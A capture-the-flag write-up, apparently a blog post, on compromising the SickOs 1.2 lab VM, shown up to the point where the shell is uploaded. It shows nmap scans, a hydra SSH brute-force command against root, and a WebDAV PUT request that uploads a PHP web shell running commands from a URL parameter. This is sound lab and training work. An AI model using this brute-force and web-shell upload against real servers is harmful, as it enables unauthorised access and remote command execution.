None

This CTF gives a clear analogy how hacking strategies can be performed on a network to compromise it in a safe environment. This vm is very similar to labs I faced in OSCP. The objective being to compromise the network/machine and gain Administrative/root privileges on them. https://www.vulnhub.com/entry/sickos-11,132/

Level 1.2

We do a discovery scan with nmap to find the IP addresses

# nmap -sP 192.168.252.1/24

Starting Nmap 7.50 ( https://nmap.org ) at 2017-09-21 20:25 BST
Nmap scan report for 192.168.252.134
Host is up (-0.10s latency).
MAC Address: 00:0C:29:CB:55:50 (VMware)

Next, we do a service discovery scan.

# nmap -sV -A 192.168.252.134

Starting Nmap 7.50 ( https://nmap.org ) at 2017-09-21 20:28 BST
Nmap scan report for 192.168.252.134
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    lighttpd 1.4.28
|_http-server-header: lighttpd/1.4.28
|_http-title: Site doesn't have a title (text/html).
OS details: Linux 3.10 - 4.8, Linux 3.16 - 4.6, Linux 3.2 - 4.8, Linux 4.4
Nmap done: 1 IP address (1 host up) scanned in 26.75 seconds

So again, the attack surface is very limited, we browse the web server. The main page only has an image. We run a directory discovery scan. it find some directories such as:

/test
    /index.php
    /~sys~ # forbidden

Nothing useful, in a response header, the server claims to be running PHP/5.3.10-1ubuntu3.21. It seems an old version of PHP, I look for exploits on the Internet and try a few.

I run out of ideas, set up a ssh bruteforce attack:

hydra -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.252.134 ssh

I take a look again a the web server, I proxy the browser and open all the discovered direcotries and files, and see how the responses look like in Burp. Found nothing interesting. I run nikito and nmap scripts.

nikto -h 192.168.252.134
nmap -Pn -sV -O -pT:22,80 --script *http* 192.168.252.134

Nothing useful. I go back to the web server. The best clues so far are the directories found earlier. I monkey with the requests in Burp repeater, until I try an OPTIONS request and boom something useful.

OPTIONS /test/ HTTP/1.1
Host: 192.168.252.134
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
DAV: 1,2
MS-Author-Via: DAV
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
Allow: OPTIONS, GET, HEAD, POST
Content-Length: 0
Connection: close
Date: Thu, 21 Sep 2017 21:09:45 GMT
Server: lighttpd/1.4.28

The obvious next step is try to upload a file with PUT.

PUT /test/shell.php HTTP/1.1
Host: 192.168.252.134
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 62

<?php echo '<pre>'; system($_GET['cmd']); echo '</pre>'; ?>

HTTP/1.1 201 Created
Content-Length: 0
Connection: close
Date: Thu, 21 Sep 2017 21:11:41 GMT
Server: lighttpd/1.4.28